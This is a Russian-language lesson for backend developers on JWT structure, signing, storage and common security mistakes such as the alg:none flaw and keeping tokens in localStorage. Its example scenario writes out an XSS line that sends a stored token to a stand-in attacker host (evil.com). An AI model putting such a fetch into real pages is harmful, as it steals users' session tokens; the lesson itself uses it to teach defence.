JWT: структура, подпись и работа с токенами
JWT (JSON Web Token) — самодостаточный токен с подписью; сервер не хранит состояние — всё необходимое внутри токена
Почему это важно: JWT стал стандартом для API-аутентификации, но неправильное использование — алгоритм none, хранение в localStorage — создаёт серьёзные уязвимости
Главная идея
JWT = base64(header).base64(payload).signature; сервер верифицирует подпись без обращения к БД; payload содержит claims о пользователе
Как это выглядит на практике
- Пользователь логинится: сервер создаёт JWT с payload {user_id: 42, role: 'admin', exp: 1h}.
- Сервер подписывает токен секретным ключом (HMAC-SHA256) или приватным ключом (RS256).
- Клиент сохраняет токен и отправляет в заголовке: Authorization: Bearer .
- Сервер верифицирует подпись и проверяет exp, iss, aud — без запроса в БД.
- Access token (15 мин) + Refresh token (7 дней) — паттерн для безопасности и удобства.
Что происходит под капотом
- Header: {alg: 'HS256', typ: 'JWT'} — алгоритм подписи.
- Payload (claims): iss (issuer), sub (subject=user_id), exp (expiration), iat (issued at), + custom claims.
- Signature: HMAC_SHA256(base64url(header) + '.' + base64url(payload), secret).
- JWT не шифрует payload — только подписывает. Payload виден любому через base64 decode.
- Refresh token rotation: после использования refresh token выдаётся новый; старый инвалидируется.
Типичные ошибки и заблуждения
- Ошибка: JWT payload зашифрован. base64 — не шифрование. Не кладите пароли, PII в payload.
- Ошибка: JWT нельзя отозвать. Можно через blacklist или изменение секрета, но это сложнее чем удаление сессии.
- Ошибка: храните JWT в localStorage для удобства. XSS → кража токена. Используйте HttpOnly cookie.
- Ошибка: алгоритм в JWT валидируется автоматически. Уязвимость 'alg:none' — всегда явно задавайте ожидаемый алгоритм при верификации.
Ключевые выводы
- JWT = header.payload.signature; payload виден, но защищён подписью от изменений.
- Stateless: проверка токена не требует запроса в БД.
- Access token короткий (15 мин), refresh token длинный (7 дней) — компромисс безопасности.
- Храните JWT в HttpOnly cookie, не в localStorage.
Термины урока
Связь с работой backend-разработчика
Схема: короткий access token (15-60 мин) в memory/HttpOnly cookie + refresh token в HttpOnly cookie. Явно задавай алгоритм при верификации. Не клади чувствительные данные в payload.
Мини-разбор реальной ситуации
Приложение хранит JWT в localStorage. Злоумышленник через XSS читает токен: fetch('https://evil.com/?t=' + localStorage.token). Токен действует 24 часа — атака продолжается весь этот период. Переход на HttpOnly cookie полностью закрывает этот вектор.
Что запомнить
- Payload JWT виден всем — не кладите секреты.
- Храните в HttpOnly cookie, не в localStorage.
- Явно задавайте алгоритм при верификации; никогда не доверяйте полю alg из токена.
Итог
JWT — мощный инструмент для stateless API, но требует осторожности. Правильное хранение, короткий TTL access token и явная валидация алгоритма закрывают основные уязвимости.